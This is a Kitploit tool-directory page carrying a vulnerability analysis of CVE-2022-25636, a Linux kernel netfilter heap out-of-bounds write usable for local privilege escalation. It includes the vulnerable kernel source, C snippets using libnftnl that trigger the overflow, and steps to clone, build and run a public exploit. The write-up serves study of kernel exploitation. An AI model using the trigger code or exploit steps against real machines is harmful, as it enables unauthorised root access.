Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25636 — Detailed technical analysis and exploit write-up for CVE-2022-25636, a Linux kernel netfilter heap overflow vulnerability enabling local privilege escalation via heap spraying and UAF. | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2022-25636
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Detailed technical analysis and exploit write-up for CVE-2022-25636, a Linux kernel netfilter heap overflow vulnerability enabling local privilege escalation via heap spraying and UAF.

View Repository
3244 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-25636 netfilter Kernel Privilege Escalation

[toc]

Vulnerability Overview

Vulnerability ID: CVE-2022-25636

Product: linux kernel - netfilter

Affected versions: linux kernel 5.4 ~

Impact: Heap out-of-bounds write in the netfilter kernel module, can lead to privilege escalation when SYS_ADMIN is present.

Environment Setup

The vulnerability exists in the netfilter kernel module, located in three .ko files.

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Direct QEMU booting has issues; the .ko files cannot be loaded. Use VMware dual-machine debugging.

Ubuntu 21.10 can manually replace the kernel:

apt-get install linux-image-5.13.0-30-generic

Then delete the original kernel, compile exp:

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Privilege escalation effect (success rate less than 50%):

image-20220318151010142

Vulnerability Principle

Vulnerability Trigger Point

The vulnerable function is nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

When setting flow->rule->action.entries (this structure is a variable-length structure without bounds checking), there is no heap boundary check, resulting in an out-of-bounds write of an integer (4 or 5) and a pointer.

Call Stack

The function is used in nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//Calculate num_actions based on number of input rules
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// Only count rules with NFT_OFFLOAD_F_ACTION flag

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//Allocate space based on num_actions (variable-length structure)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions initialized to 0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//Call offload based on number of rules
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//Call vulnerable function
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

It can be seen that the nft_flow_rule_create function allocates the flow structure based on the number of rule structures passed from userspace and processes them. The num_actions variable is used for counting, but during counting, only rules with the NFT_OFFLOAD_F_ACTION flag are counted, and the structure is allocated accordingly. However, when subsequently calling offload for processing, the loop does not use num_actions but instead iterates the same number of times as the total rules, without checking the NFT_OFFLOAD_F_ACTION flag again. That is, when there are rules without the NFT_OFFLOAD_F_ACTION flag, the number of offload calls exceeds the allocated size of flow->rule->action.entries. Inside offload, the vulnerable function nft_fwd_dup_netdev_offload is called, each time incrementing ctx->num_actions (initialized to 0). Eventually ctx->num_actions exceeds the bounds of the flow->rule->action.entries array, causing an out-of-bounds write.

Some structures:

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Call stack:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Usage and Triggering of netfilter

Reference link: https://www.openwall.com/lists/oss-security/2022/02/21/2

This email explains how to use netfilter with the libmnl and libnftnl libraries in C. The key point to trigger the vulnerability is whether the added rule has the NFT_OFFLOAD_F_ACTION flag. Only rules added with nftnl_expr_alloc("immediate"); have the NFT_OFFLOAD_F_ACTION flag:

for(int i = 0; i < legit_writes; i++) {//Adding expr like this will not cause out-of-bounds
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//Adding expr like this will cause out-of-bounds
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Exploit

The exploit is not very stable, but the technique is exquisite. The vulnerability writes an uncontrollable pointer at a fixed offset out of bounds. In my opinion, the exploitation difficulty is very high. Let's briefly analyze the techniques. According to the vulnerability code, each out-of-bounds write writes an integer (id, fixed at 4 or 5) and a pointer (*dev), where the pointer points to a struct net_device structure. Here we focus on the dev pointer write:

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
	entry->id = id;
	entry->dev = dev; //Write a heap address at fixed offset, dev is struct net_device
	··· ···
}

Regarding the struct flow_rule structure, since it is a variable-length structure, the size range it can allocate affects whether exploitation is possible (successful).

Download Tool